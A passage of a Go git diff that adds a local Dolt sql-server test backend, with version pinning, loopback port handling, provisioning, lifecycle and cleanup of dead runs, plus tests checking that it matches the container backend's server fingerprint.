os.Getenv("BEADS_TEST_DOLT_BINARY") + if bin == "" { + p, err := exec.LookPath("dolt") + if err != nil { + localDoltBinErr = fmt.Errorf("dolt CLI not found: %w", err) + return + } + bin = p + } + got, err := probeDoltVersion(bin, localServerBase) + if err != nil { + localDoltBinErr = err + return + } + if got != pinnedDoltVersion { + localDoltBinErr = fmt.Errorf("dolt CLI %s is version %s, want %s (the %s image the container backend runs)", + bin, got, pinnedDoltVersion, DoltDockerImage) + return + } + localDoltBin = bin + }) + return localDoltBin, localDoltBinErr +} + +// doltNoEventFlushEnv stops every dolt command from forking a detached +// `dolt send-metrics` child on exit. The *.disabled config keys below stop +// the network calls but not that child, which outlives its parent, re-creates +// /.dolt after the owner removed it, and races terminate's RemoveAll. +const doltNoEventFlushEnv = "DOLT_DISABLE_EVENT_FLUSH=1" + +// probeDoltVersion runs `bin version` with a throwaway HOME under base (so +// the user's ~/.dolt is neither read nor written) and returns the version. +func probeDoltVersion(bin, base string) (string, error) { + home, err := os.MkdirTemp(base, "bdt-doltver-") + if err != nil { + return "", err + } + defer func() { _ = os.RemoveAll(home) }() + _ = writeLocalRootOwner(home) + if err := writeLocalDoltGlobalConfig(home); err != nil { + return "", err + } + cmd := exec.Command(bin, "version") // #nosec G204 G702 -- test-only; bin is the pinned dolt CLI + cmd.Env = []string{"HOME=" + home, "DOLT_ROOT_PATH=" + home, "PATH=" + os.Getenv("PATH"), doltNoEventFlushEnv} + out, err := cmd.CombinedOutput() + if err != nil { + return "", fmt.Errorf("%s version: %w: %s", bin, err, out) + } + m := doltVersionRe.FindSubmatch(out) + if m == nil { + return "", fmt.Errorf("%s version: unrecognized output %q", bin, out) + } + return string(m[1]), nil +} + +// writeLocalDoltGlobalConfig writes the server's dolt global config. The +// image ships an empty one ({}); the two keys here only turn off usage +// events and the release check, which are network calls, not behavior. +func writeLocalDoltGlobalConfig(root string) error { + dir := filepath.Join(root, ".dolt") + if err := os.MkdirAll(dir, 0o700); err != nil { + return err + } + return os.WriteFile(filepath.Join(dir, "config_global.json"), + []byte(`{"metrics.disabled":"true","versioncheck.disabled":"true"}`+"\n"), 0o600) +} + +// localDoltServer is one `dolt sql-server` owned by this test process. +type localDoltServer struct { + bin string + root string // owned tree: data/, home/, sfp/, server.yaml, server.log, owner.pid + dataDir string + logPath string + + mu sync.Mutex + port int + cmd *exec.Cmd + done chan struct{} // closed when cmd exits + waitErr error +} + +const ( + localServerStartAttempts = 5 + localServerStopTimeout = 10 * time.Second +) + +// startLocalDoltServer creates a fresh data directory and starts a server on +// it, provisioned like the container: root@% with no password, database +// beads_test, user test/test with USAGE and ALL ON beads_test.*. +func startLocalDoltServer() (*localDoltServer, error) { + began := time.Now() + s, err := newLocalDoltServer() + if err != nil { + return nil, err + } + if err := s.start(0); err != nil { + _ = os.RemoveAll(s.root) + return nil, err + } + if err := s.provision(); err != nil { + s.terminate() + return nil, err + } + if os.Getenv(EnvDoltServerVerbose) == "1" { + fmt.Fprintf(os.Stderr, "testutil: local dolt sql-server on 127.0.0.1:%d (state %s) ready+provisioned in %s\n", + s.Port(), s.root, time.Since(began).Round(time.Millisecond)) + } + return s, nil +} + +// newLocalDoltServer creates the state tree of a server that is not started +// yet: data/ (the server's working directory, a multi-database root like the +// image's /var/lib/dolt), home/ (its HOME and DOLT_ROOT_PATH), sfp/ (its +// secure_file_priv), server.log and the owner marker. +func newLocalDoltServer() (*localDoltServer, error) { + bin, err := resolveLocalDoltBinary() + if err != nil { + return nil, err + } + root, err := os.MkdirTemp(localServerBase, "bdt-dolt-") + if err != nil { + return nil, err + } + s := &localDoltServer{ + bin: bin, + root: root, + dataDir: filepath.Join(root, "data"), + logPath: filepath.Join(root, "server.log"), + } + if err := writeLocalRootOwner(root); err != nil { + _ = os.RemoveAll(root) + return nil, err + } + for _, d := range []string{s.dataDir, s.secureFilePrivDir()} { + if err := os.MkdirAll(d, 0o700); err != nil { + _ = os.RemoveAll(root) + return nil, err + } + } + if err := writeLocalDoltGlobalConfig(filepath.Join(root, "home")); err != nil { + _ = os.RemoveAll(root) + return nil, err + } + return s, nil +} + +// start launches the server on preferPort, or on a fresh loopback port when +// preferPort is 0 or taken. dolt sql-server rejects port 0, so the port is +// picked here and the rare bind race (another process takes it between the +// probe and dolt's bind) is retried with a new one. +func (s *localDoltServer) start(preferPort int) error { + var lastErr error + for attempt := 0; attempt < localServerStartAttempts; attempt++ { + port := preferPort + if attempt > 0 || port == 0 { + p, err := FindFreePort() + if err != nil { + return err + } + port = p + } + if port == 3307 { // productionPortReasons Rule 1: never the default port + continue + } + err := s.launch(port) + if err == nil { + return nil + } + lastErr = err + if !errors.Is(err, errLocalServerBind) { + return err + } + } + return fmt.Errorf("dolt sql-server did not start after %d attempts: %w", localServerStartAttempts, lastErr) +} + +var errLocalServerBind = errors.New("port already in use") + +func (s *localDoltServer) launch(port int) error { + logf, err := os.OpenFile(s.logPath, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0o600) + if err != nil { + return err + } + logStart, _ := logf.Seek(0, io.SeekEnd) + gomaxprocs := os.Getenv(EnvDoltServerGOMAXPROCS) + if gomaxprocs == "" { + gomaxprocs = defaultLocalServerGOMAXPROCS + } + home := filepath.Join(s.root, "home") + cfg, err := s.writeServerConfig(port) + if err != nil { + _ = logf.Close() + return err + } + // #nosec G204 -- test-only, pinned binary, loopback listener + cmd := exec.Command(s.bin, "sql-server", "--config", cfg) + cmd.Dir = s.dataDir + // A clean environment, like the container's: nothing from the test + // (BEADS_*, DOLT_* overrides, the wrapper's dolt identity) reaches the + // server. DOLT_ROOT_HOST=% creates root@% on first start, as + // testcontainers asks the image to. + cmd.Env = []string{ + "PATH=" + os.Getenv("PATH"), + "HOME=" + home, + "DOLT_ROOT_PATH=" + home, + "DOLT_ROOT_HOST=%", + "TZ=UTC", + "GOMAXPROCS=" + gomaxprocs, + doltNoEventFlushEnv, + } + cmd.Stdout = logf + cmd.Stderr = logf + // Same process group as the test: `bazel test` (test-setup.sh) kills the + // group when the test exits or times out, which reaps a server that every + // cleanup missed. Pdeathsig covers plain `go test`. + cmd.SysProcAttr = localServerSysProcAttr() + if err := cmd.Start(); err != nil { + _ = logf.Close() + return fmt.Errorf("start dolt sql-server: %w", err) + } + done := make(chan struct{}) + s.mu.Lock() + s.cmd, s.done, s.port, s.waitErr = cmd, done, port, nil + s.mu.Unlock() + go func() { + err := cmd.Wait() + _ = logf.Close() + s.mu.Lock() + s.waitErr = err + s.mu.Unlock() + close(done) + }() + + if err := s.waitReady(port, done, logStart); err != nil { + s.kill() + return err + } + return nil +} + +func (s *localDoltServer) secureFilePrivDir() string { return filepath.Join(s.root, "sfp") } + +// writeServerConfig writes the server's --config file for port. dolt ignores +// every other flag when --config is given, so it carries the listener too. +// Its only other setting is secure_file_priv: the image runs with "" (any +// path), which inside a container reaches only the container's filesystem, +// but a local server runs as the test user on the host, where passwordless +// root@% plus LOAD_FILE / INTO OUTFILE would read and write the user's +// files from any process that can reach the port. Confining it to sfp/ is the +// one deliberate difference from the container (TestDoltServerFingerprint +// normalizes it). +func (s *localDoltServer) writeServerConfig(port int) (string, error) { + path := filepath.Join(s.root, "server.yaml") + cfg := fmt.Sprintf("listener:\n host: 127.0.0.1\n port: %d\nsystem_variables:\n secure_file_priv: %s\n", + port, strconv.Quote(s.secureFilePrivDir())) + return path, os.WriteFile(path, []byte(cfg), 0o600) +} + +// localServerReadyLine is what dolt sql-server logs once its listener is +// bound (the line testcontainers' dolt module waits for, too). +const localServerReadyLine = "Server ready. Accepting connections." + +// waitReady waits until this process has logged that it is listening and +// answers a bounded ping (see waitForDoltReady), and notices an early exit, +// classifying a bind failure so start can retry on another port. The log line +// is what makes the ping trustworthy: if another process owns the port, dolt +// fails to bind and exits, but a ping could still reach the other listener. +func (s *localDoltServer) waitReady(port int, done chan struct{}, logStart int64) error { + dsn := fmt.Sprintf("root@tcp(127.0.0.1:%d)/", port) + deadline := time.Now().Add(serverStartTimeout) + lastErr := errors.New("server has not logged " + strconv.Quote(localServerReadyLine)) + for time.Now().Before(deadline) { + select { + case <-done: + tail := s.logSince(logStart) + // dolt 2.2.0 checks the port itself ("Port N already in use."); + // a bind that loses the race after that check reports the + // kernel's "address already in use". + if strings.Contains(tail, "already in use") { + return fmt.Errorf("%w: port %d: %s", errLocalServerBind, port, tail) + } + return fmt.Errorf("dolt sql-server exited during startup on port %d: %s", port, tail) + default: + } + if bytes.Contains(s.readLogSince(logStart), []byte(localServerReadyLine)) { + if lastErr = pingDoltOnce(dsn); lastErr == nil { + return nil + } + } + time.Sleep(25 * time.Millisecond) + } + return fmt.Errorf("dolt sql-server on port %d not query-ready within %s: %v; log: %s", + port, serverStartTimeout, lastErr, s.logSince(logStart)) +} + +// readLogSince returns the server log from byte offset off on. +func (s *localDoltServer) readLogSince(off int64) []byte { + b, err := os.ReadFile(s.logPath) + if err != nil || int64(len(b)) < off { + return nil + } + return b[off:] +} + +// logSince returns the last 4 KiB of the server log from byte offset off on, +// for error messages. +func (s *localDoltServer) logSince(off int64) string { + b := bytes.TrimSpace(s.readLogSince(off)) + if len(b) > 4096 { + b = b[len(b)-4096:] + } + return string(b) +} + +// provision replays what testcontainers' dolt module and the image +// entrypoint do after the server is up. +func (s *localDoltServer) provision() error { + db, err := sql.Open("mysql", fmt.Sprintf("root@tcp(127.0.0.1:%d)/", s.Port())) + if err != nil { + return err + } + defer db.Close() + ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second) + defer cancel() + for _, stmt := range []string{ + "CREATE DATABASE IF NOT EXISTS `beads_test`", + "CREATE USER IF NOT EXISTS 'test'@'%' IDENTIFIED BY 'test'", + "GRANT USAGE ON *.* TO 'test'@'%'", + "GRANT ALL ON `beads_test`.* TO 'test'@'%'", + } { + if _, err := db.ExecContext(ctx, stmt); err != nil { + return fmt.Errorf("provision local dolt server: %s: %w", stmt, err) + } + } + return nil +} + +// Port returns the current listening port. +func (s *localDoltServer) Port() int { + s.mu.Lock() + defer s.mu.Unlock() + return s.port +} + +// exited reports whether the server process has exited. +func (s *localDoltServer) exited() (bool, error) { + s.mu.Lock() + done, werr := s.done, s.waitErr + s.mu.Unlock() + if done == nil { + return true, nil + } + select { + case <-done: + s.mu.Lock() + werr = s.waitErr + s.mu.Unlock() + return true, werr + default: + return false, nil + } +} + +// stop asks the server to exit (SIGTERM, then SIGKILL after +// localServerStopTimeout) and keeps its data directory. +func (s *localDoltServer) stop() error { + s.mu.Lock() + cmd, done := s.cmd, s.done + s.mu.Unlock() + if cmd == nil || cmd.Process == nil { + return nil + } + select { + case <-done: + return nil + default: + } + _ = cmd.Process.Signal(syscall.SIGTERM) + select { + case <-done: + return nil + case <-time.After(localServerStopTimeout): + _ = cmd.Process.Kill() + <-done + return fmt.Errorf("dolt sql-server (pid %d) ignored SIGTERM for %s; killed", cmd.Process.Pid, localServerStopTimeout) + } +} + +func (s *localDoltServer) kill() { + s.mu.Lock() + cmd, done := s.cmd, s.done + s.mu.Unlock() + if cmd == nil || cmd.Process == nil { + return + } + _ = cmd.Process.Kill() + <-done +} + +// restart starts the server again on its existing data directory, on the +// same port when it is still free. +func (s *localDoltServer) restart() error { + if gone, _ := s.exited(); !gone { + return fmt.Errorf("dolt sql-server is still running") + } + return s.start(s.Port()) +} + +// terminate stops the server and removes everything it owned. +func (s *localDoltServer) terminate() { + _ = s.stop() + _ = os.RemoveAll(s.root) +} + +// execInDataDir runs cmd on the host with the server's data directory as its +// working directory: the local counterpart of exec'ing into the container, +// whose working directory is its data directory (/var/lib/dolt). +func (s *localDoltServer) execInDataDir(ctx context.Context, argv []string) (int, string, error) { + if len(argv) == 0 { + return 0, "", fmt.Errorf("empty command") + } + cmd := exec.CommandContext(ctx, argv[0], argv[1:]...) // #nosec G204 -- test-only + cmd.Dir = s.dataDir + out, err := cmd.CombinedOutput() + var ee *exec.ExitError + if errors.As(err, &ee) { + return ee.ExitCode(), string(out), nil + } + if err != nil { + return 0, "", err + } + return 0, string(out), nil +} + +// Local state roots are removed by terminate, but nothing runs it when the +// test binary dies (panic, -timeout, SIGKILL) or when a package's TestMain +// never calls TerminateDoltContainer: the container backend has Ryuk for +// that, the local backend has these. Every root records its owning PID, and +// the first use of the backend in a later process removes the roots whose +// owner is gone (the doltserver.SweepDeadSuiteRoots rule, copied because +// doltserver's own tests import this package). +const ( + localRootOwnerFile = "owner.pid" + localServerRootGlob = "bdt-dolt-*" + localVersionRootGlob = "bdt-doltver-*" +) + +func writeLocalRootOwner(root string) error { + return os.WriteFile(filepath.Join(root, localRootOwnerFile), []byte(strconv.Itoa(os.Getpid())+"\n"), 0o600) +} + +// readLocalRootOwner returns the PID in root's owner marker; ok is false +// when there is none or it does not hold a PID, which means "owner unknown", +// never "owner dead". +func readLocalRootOwner(root string) (pid int, ok bool) { + b, err := os.ReadFile(filepath.Join(root, localRootOwnerFile)) // #nosec G304 -- fixed name under a root this user owns + if err != nil { + return 0, false + } + pid, err = strconv.Atoi(strings.TrimSpace(string(b))) + if err != nil || pid <= 0 { + return 0, false + } + return pid, true +} + +// processAlive reports whether pid names a running process (EPERM: it +// exists but belongs to someone else, so it is alive too). +func processAlive(pid int) bool { + err := syscall.Kill(pid, 0) + return err == nil || errors.Is(err, syscall.EPERM) +} + +// sweepDeadLocalServerRoots removes base's local-backend state roots whose +// owner marker names a dead process and returns them. A root without a +// marker (a pre-marker leftover, or one whose owner is still between +// MkdirTemp and writing it), with a live owner, not a real directory, or not +// owned by this user is left alone. Only directories are reclaimed: on +// Linux Pdeathsig already killed the dead owner's servers; elsewhere a +// surviving server keeps serving its deleted directory until it is killed. +func sweepDeadLocalServerRoots(base string, alive func(int) bool) []string { + var swept []string + for _, glob := range []string{localServerRootGlob, localVersionRootGlob} { + matches, _ := filepath.Glob(filepath.Join(base, glob)) + for _, root := range matches { + info, err := os.Lstat(root) + if err != nil || !info.IsDir() { + continue + } + if st, ok := info.Sys().(*syscall.Stat_t); !ok || int(st.Uid) != os.Getuid() { + continue + } + pid, ok := readLocalRootOwner(root) + if !ok || alive(pid) { + continue + } + if os.RemoveAll(root) == nil { + swept = append(swept, root) + } + } + } + if len(swept) > 0 && os.Getenv(EnvDoltServerVerbose) == "1" { + fmt.Fprintf(os.Stderr, "testutil: removed %d local dolt server state dir(s) of dead test processes: %v\n", len(swept), swept) + } + return swept +} diff --git a/internal/testutil/localdoltserver_linux.go b/internal/testutil/localdoltserver_linux.go new file mode 100644 index 000000000..45b88b86c --- /dev/null +++ b/internal/testutil/localdoltserver_linux.go @@ -0,0 +1,14 @@ +//go:build linux + +package testutil + +import "syscall" + +// localServerSysProcAttr keeps the server in the test's process group and +// asks the kernel to kill it if the thread that started it dies. Pdeathsig +// is tied to that OS thread, not the process, so it is a safety net only; +// the owner's Stop/Terminate and Bazel's process-group kill are the real +// reapers. +func localServerSysProcAttr() *syscall.SysProcAttr { + return &syscall.SysProcAttr{Pdeathsig: syscall.SIGKILL} +} diff --git a/internal/testutil/localdoltserver_other.go b/internal/testutil/localdoltserver_other.go new file mode 100644 index 000000000..eb08c3803 --- /dev/null +++ b/internal/testutil/localdoltserver_other.go @@ -0,0 +1,11 @@ +//go:build !linux && !windows + +package testutil + +import "syscall" + +// localServerSysProcAttr keeps the server in the test's process group (no +// Pdeathsig outside Linux). +func localServerSysProcAttr() *syscall.SysProcAttr { + return &syscall.SysProcAttr{} +} diff --git a/internal/testutil/localdoltserver_test.go b/internal/testutil/localdoltserver_test.go new file mode 100644 index 000000000..b56ade483 --- /dev/null +++ b/internal/testutil/localdoltserver_test.go @@ -0,0 +1,608 @@ +//go:build !windows + +package testutil + +import ( + "context" + "database/sql" + "errors" + "fmt" + "net" + "os" + "path/filepath" + "runtime" + "sort" + "strconv" + "strings" + "syscall" + "testing" + "time" +) + +// serverFingerprint is what a test can observe about "the Dolt test server" +// over SQL. Both backends must produce wantServerFingerprint: the container +// because that is what CI has always run against, the local backend because +// it has to be indistinguishable from it. A Dolt or image bump that changes +// any of these defaults fails here first (design D6 §2). +type serverFingerprint struct { + Users []string // user@host, sorted + TestGrants []string // SHOW GRANTS FOR 'test'@'%' + Databases []string // SHOW DATABASES, sorted + CurrentUser string // CURRENT_USER() when connecting as root + Version string + MaxConns string + SQLMode string + SystemTZ string + TimeZone string + Autocommit string + SecureFilePv string // normalized, see fingerprintServer + CharsetSrv string + CollationSrv string + MaxPacket string + TxIsolation string + LowerCaseTbl string + LowerCaseFS string // normalized off Linux, see fingerprintServer + WaitTimeout string + LockWait string // innodb_lock_wait_timeout +} + +var wantServerFingerprint = serverFingerprint{ + Users: []string{ + "__dolt_local_user__@localhost", + "event_scheduler@localhost", + "root@%", + "test@%", + }, + TestGrants: []string{ + "GRANT USAGE ON *.* TO `test`@`%`", + "GRANT SELECT, INSERT, UPDATE, DELETE, CREATE, DROP, REFERENCES, INDEX, ALTER, CREATE TEMPORARY TABLES, LOCK TABLES, EXECUTE, CREATE VIEW, SHOW VIEW, CREATE ROUTINE, ALTER ROUTINE, EVENT, TRIGGER ON `beads_test`.* TO `test`@`%`", + }, + Databases: []string{"beads_test", "information_schema", "mysql"}, + CurrentUser: "root@%", + Version: "8.0.31", + MaxConns: "151", + SQLMode: "NO_ENGINE_SUBSTITUTION,ONLY_FULL_GROUP_BY,STRICT_TRANS_TABLES", + SystemTZ: "UTC", + TimeZone: "SYSTEM", + Autocommit: "1", + SecureFilePv: "", + CharsetSrv: "utf8mb4", + CollationSrv: "utf8mb4_0900_bin", + MaxPacket: "1073741824", + TxIsolation: "REPEATABLE-READ", + LowerCaseTbl: "0", + LowerCaseFS: "0", + WaitTimeout: "28800", + LockWait: "1", +} + +func queryStrings(ctx context.Context, db *sql.DB, q string) ([]string, error) { + rows, err := db.QueryContext(ctx, q) + if err != nil { + return nil, fmt.Errorf("%s: %w", q, err) + } + defer rows.Close() + var out []string + for rows.Next() { + var s sql.NullString + if err := rows.Scan(&s); err != nil { + return nil, fmt.Errorf("%s: %w", q, err) + } + out = append(out, s.String) + } + return out, rows.Err() +} + +// fingerprintServer reads the fingerprint of the server on port. secureDir +// is the secure_file_priv the backend sets on purpose: the container's is "" +// (it can only reach the container's own filesystem), the local backend's is +// its state root's sfp/ (it runs on the host; see writeServerConfig). That +// value is reported as "" so both backends compare against one fingerprint. +func fingerprintServer(t *testing.T, port, secureDir string) serverFingerprint { + t.Helper() + db, err := sql.Open("mysql", fmt.Sprintf("root@tcp(127.0.0.1:%s)/", port)) + if err != nil { + t.Fatal(err) + } + defer db.Close() + ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second) + defer cancel() + + var fp serverFingerprint + must := func(v []string, err error) []string { + t.Helper() + if err != nil { + t.Fatal(err) + } + return v + } + fp.Users = must(queryStrings(ctx, db, "SELECT CONCAT(user, '@', host) FROM mysql.user ORDER BY 1")) + fp.TestGrants = must(queryStrings(ctx, db, "SHOW GRANTS FOR 'test'@'%'")) + fp.Databases = must(queryStrings(ctx, db, "SHOW DATABASES")) + sort.Strings(fp.Databases) + row := db.QueryRowContext(ctx, "SELECT CURRENT_USER(), @@version, @@max_connections, @@sql_mode, "+ + "@@system_time_zone, @@time_zone, @@autocommit, @@secure_file_priv, "+ + "@@character_set_server, @@collation_server, @@max_allowed_packet, @@transaction_isolation, "+ + "@@lower_case_table_names, @@lower_case_file_system, @@wait_timeout, @@innodb_lock_wait_timeout") + var secure sql.NullString + if err := row.Scan(&fp.CurrentUser, &fp.Version, &fp.MaxConns, &fp.SQLMode, + &fp.SystemTZ, &fp.TimeZone, &fp.Autocommit, &secure, + &fp.CharsetSrv, &fp.CollationSrv, &fp.MaxPacket, &fp.TxIsolation, + &fp.LowerCaseTbl, &fp.LowerCaseFS, &fp.WaitTimeout, &fp.LockWait); err != nil { + t.Fatalf("server variables: %v", err) + } + fp.SecureFilePv = secure.String + if secureDir != "" && filepath.Clean(fp.SecureFilePv) == filepath.Clean(secureDir) { + fp.SecureFilePv = "" + } + // lower_case_file_system describes the filesystem under the data + // directory: the container's is Linux, a local server on macOS sits on + // case-insensitive APFS and reports ON. Only Linux hosts compare it. + if runtime.GOOS != "linux" { + fp.LowerCaseFS = wantServerFingerprint.LowerCaseFS + } + return fp +} + +func checkFingerprint(t *testing.T, got serverFingerprint) { + t.Helper() + if g, w := fmt.Sprintf("%+q", got), fmt.Sprintf("%+q", wantServerFingerprint); g != w { + t.Errorf("Dolt test server fingerprint changed\n got: %s\nwant: %s", g, w) + } +} + +// TestDoltServerFingerprint checks every backend available on this host +// against the same checked-in fingerprint, so container and local servers +// are compared with each other through it. The backend BEADS_TEST_DOLT_SERVER +// selects obeys the usual skip/fail rules; the other one is checked only when +// it happens to be available. +func TestDoltServerFingerprint(t *testing.T) { + if hasTestSkip("dolt") { + t.Skip("skipping: Dolt tests skipped (BEADS_TEST_SKIP=dolt)") + } + selectedLocal := useLocalDoltServer() + + t.Run("container", func(t *testing.T) { + if !selectedLocal { + if state := checkDolt(); state != doltReady { + skipOrFailDoltUnavailable(t, state) + } + } else if !isDockerAvailable() || !isDoltImageCached() { + t.Skipf("container backend not available on this host (docker + %s)", DoltDockerImage) + } + c := startIsolatedDoltContainer(t) + checkFingerprint(t, fingerprintServer(t, c.Port, "")) + }) + + t.Run("local", func(t *testing.T) { + skipLocalServerOffLinuxUnlessSelected(t) + if selectedLocal { + if state := checkDolt(); state != doltReady { + skipOrFailDoltUnavailable(t, state) + } + } else if _, err := resolveLocalDoltBinary(); err != nil { + t.Skipf("local backend not available on this host: %v", err) + } + c := startIsolatedLocalDoltServer(t) + checkFingerprint(t, fingerprintServer(t, c.Port, c.local.secureFilePrivDir())) + }) +} + +// skipLocalServerOffLinuxUnlessSelected keeps the local backend's own tests +// off non-Linux hosts unless BEADS_TEST_DOLT_SERVER=local asks for them. The +// macOS CI lanes run `go test -short ./...` with the pinned dolt installed; +// without Pdeathsig (Linux only) a test binary killed mid-test there would +// orphan its servers on the runner, and the backend is validated on Linux. +func skipLocalServerOffLinuxUnlessSelected(t *testing.T) { + t.Helper() + if runtime.GOOS != "linux" && !useLocalDoltServer() { + t.Skipf("skipping local dolt sql-server test on %s (no Pdeathsig); set %s=local to run it", + runtime.GOOS, EnvDoltServerBackend) + } +} + +// requireLocalDoltCLI skips (or, under BEADS_TEST_REQUIRE_DOLT_CONTAINER=1, +// fails) a test of the local backend itself when the pinned dolt CLI is +// missing. These tests run whichever backend is selected. +func requireLocalDoltCLI(t *testing.T) { + t.Helper() + skipLocalServerOffLinuxUnlessSelected(t) + if hasTestSkip("dolt") { + t.Skip("skipping: Dolt tests skipped (BEADS_TEST_SKIP=dolt)") + } + if _, err := resolveLocalDoltBinary(); err != nil { + if os.Getenv(EnvRequireDoltContainer) == "1" && useLocalDoltServer() { + t.Fatalf("local Dolt CLI unavailable (%v) but %s=1", err, EnvRequireDoltContainer) + } + t.Skipf("local Dolt CLI unavailable: %v", err) + } +} + +func TestLocalDoltServer_BindRaceRetriesOnAnotherPort(t *testing.T) { + requireLocalDoltCLI(t) + // Hold a port the way a concurrent action would between FindFreePort and + // dolt's own bind. + l, err := net.Listen("tcp", "127.0.0.1:0") + if err != nil { + t.Fatal(err) + } + defer l.Close() + taken := l.Addr().(*net.TCPAddr).Port + + s, err := newLocalDoltServer() + if err != nil { + t.Fatal(err) + } + t.Cleanup(s.terminate) + if err := s.start(taken); err != nil { + t.Fatalf("start with port %d taken: %v", taken, err) + } + if s.Port() == taken { + t.Fatalf("server reports the taken port %d", taken) + } + if !strings.Contains(s.logSince(0), "already in use") { + t.Errorf("first attempt did not hit the taken port; log: %s", s.logSince(0)) + } + if err := pingDoltOnce(fmt.Sprintf("root@tcp(127.0.0.1:%d)/", s.Port())); err != nil { + t.Errorf("ping after retry: %v", err) + } +} + +func TestLocalDoltServer_NeverDefaultPort(t *testing.T) { + requireLocalDoltCLI(t) + s, err := newLocalDoltServer() + if err != nil { + t.Fatal(err) + } + t.Cleanup(s.terminate) + if err := s.start(3307); err != nil { + t.Fatal(err) + } + if s.Port() == 3307 { + t.Fatal("local test server listens on 3307, the production default port") + } +} + +func TestLocalDoltServer_Lifecycle(t *testing.T) { + requireLocalDoltCLI(t) + c := startIsolatedLocalDoltServer(t) + s := c.local + ctx := context.Background() + + t.Run("ExecRunsInDataDir", func(t *testing.T) { + code, out, err := c.Exec(ctx, []string{"pwd", "-P"}) + if err != nil || code != 0 { + t.Fatalf("exec pwd: code=%d err=%v out=%q", code, err, out) + } + want, _ := filepath.EvalSymlinks(s.dataDir) + if got := strings.TrimSpace(out); got != want { + t.Errorf("Exec working directory = %q, want the data dir %q", got, want) + } + code, _, err = c.Exec(ctx, []string{"test", "-d", "beads_test"}) + if err != nil || code != 0 { + t.Errorf("provisioned database beads_test not visible from Exec's cwd: code=%d err=%v", code, err) + } + code, _, err = c.Exec(ctx, []string{"false"}) + if err != nil || code != 1 { + t.Errorf("Exec exit status: code=%d err=%v, want 1, nil", code, err) + } + }) + + t.Run("StopStartKeepsData", func(t *testing.T) { + dsn := func(port string) string { return fmt.Sprintf("root@tcp(127.0.0.1:%s)/beads_test", port) } + db, err := sql.Open("mysql", dsn(c.Port)) + if err != nil { + t.Fatal(err) + } + if _, err := db.ExecContext(ctx, "CREATE TABLE kept (id INT PRIMARY KEY)"); err != nil { + t.Fatal(err) + } + if _, err := db.ExecContext(ctx, "INSERT INTO kept VALUES (42)"); err != nil { + t.Fatal(err) + } + _ = db.Close() + + if err := c.Stop(ctx); err != nil { + t.Fatalf("Stop: %v", err) + } + if gone, _ := s.exited(); !gone { + t.Fatal("server still running after Stop") + } + if err := c.Start(ctx); err != nil { + t.Fatalf("Start: %v", err) + } + port, err := c.CurrentPort(ctx) + if err != nil { + t.Fatal(err) + } + db, err = sql.Open("mysql", dsn(port)) + if err != nil { + t.Fatal(err) + } + defer db.Close() + var id int + if err := db.QueryRowContext(ctx, "SELECT id FROM kept").Scan(&id); err != nil || id != 42 { + t.Fatalf("data after restart: id=%d err=%v", id, err) + } + }) + + t.Run("CrashIsDetected", func(t *testing.T) { + s.mu.Lock() + pid := s.cmd.Process.Pid + s.mu.Unlock() + if gone, _ := s.exited(); gone { + t.Fatal("server reported exited before the kill") + } + if err := syscall.Kill(pid, syscall.SIGKILL); err != nil { + t.Fatal(err) + } + deadline := time.Now().Add(10 * time.Second) + for { + if gone, _ := s.exited(); gone { + break + } + if time.Now().After(deadline) { + t.Fatal("killed server not reported as exited") + } + time.Sleep(10 * time.Millisecond) + } + }) +} + +func TestLocalDoltServer_SingletonCrashDetection(t *testing.T) { + requireLocalDoltCLI(t) + s, err := startLocalDoltServer() + if err != nil { + t.Fatal(err) + } + defer s.terminate() + // Exercise the exported crash API on a singleton that is this server, + // without disturbing whatever singleton the package may hold. + doltServerMu.Lock() + saved := doltSingletonSrv + doltSingletonSrv = &doltServer{local: s} + doltServerMu.Unlock() + t.Cleanup(func() { + doltServerMu.Lock() + doltSingletonSrv = saved + doltServerMu.Unlock() + }) + + if DoltContainerCrashed() || DoltContainerCrashError() != nil { + t.Fatal("running server reported as crashed") + } + s.kill() + if !DoltContainerCrashed() { + t.Error("DoltContainerCrashed() = false after the server died") + } + if err := DoltContainerCrashError(); err == nil { + t.Error("DoltContainerCrashError() = nil after the server died") + } + if !ServerUnreachable(errors.New("anything")) { + t.Error("ServerUnreachable ignores a dead local singleton") + } +} + +// The suites' leak sweeps (doltserver.SweepSuiteTestServers) report and kill +// dolt servers whose working directory is under the suite root. Test servers +// must live outside it even when started after PinSuiteTempRoot re-pointed +// TMPDIR. +func TestLocalDoltServer_StateOutsideSuiteRoot(t *testing.T) { + requireLocalDoltCLI(t) + for _, k := range []string{"TMPDIR", "GOTMPDIR", "TMP", "TEMP"} { + t.Setenv(k, os.Getenv(k)) // restored after the test + } + root, err := PinSuiteTempRoot("bdt-suite-root-") + if err != nil { + t.Fatal(err) + } + defer os.RemoveAll(root) + if !PathUnderSuiteRoot(filepath.Join(os.TempDir(), "x"), root) { + t.Fatalf("PinSuiteTempRoot did not re-point os.TempDir() under %s", root) + } + + s, err := startLocalDoltServer() + if err != nil { + t.Fatal(err) + } + defer s.terminate() + for _, p := range []string{s.root, s.dataDir} { + if PathUnderSuiteRoot(p, root) { + t.Errorf("local server state %s is under the suite root %s", p, root) + } + } +} + +func TestLocalDoltServer_TerminateLeavesNothing(t *testing.T) { + requireLocalDoltCLI(t) + s, err := startLocalDoltServer() + if err != nil { + t.Fatal(err) + } + s.mu.Lock() + pid := s.cmd.Process.Pid + s.mu.Unlock() + s.terminate() + if processAlive(pid) { + t.Errorf("dolt sql-server pid %d still alive after terminate", pid) + } + if _, err := os.Stat(s.root); !os.IsNotExist(err) { + t.Errorf("state dir %s not removed: %v", s.root, err) + } + if err := pingDoltOnce(fmt.Sprintf("root@tcp(127.0.0.1:%d)/", s.Port())); err == nil { + t.Errorf("something still answers on port %d", s.Port()) + } + // A detached `dolt send-metrics` child of the exiting server would + // re-create /home/.dolt a few hundred ms later. + time.Sleep(time.Second) + if _, err := os.Stat(s.root); !os.IsNotExist(err) { + t.Errorf("state dir %s re-created after terminate (dolt child outlived the server?): %v", s.root, err) + } +} + +// The version probe's throwaway HOME must be gone for good once it returns. +func TestLocalDoltServer_VersionProbeLeavesNothing(t *testing.T) { + requireLocalDoltCLI(t) + bin, _ := resolveLocalDoltBinary() + base := t.TempDir() + if _, err := probeDoltVersion(bin, base); err != nil { + t.Fatal(err) + } + time.Sleep(time.Second) + if ents, _ := os.ReadDir(base); len(ents) != 0 { + t.Errorf("dolt version left %d entries in %s (dolt child outlived it?): %v", len(ents), base, ents) + } +} + +// Only files under the server's own sfp/ directory are reachable through +// LOAD_FILE and SELECT ... INTO 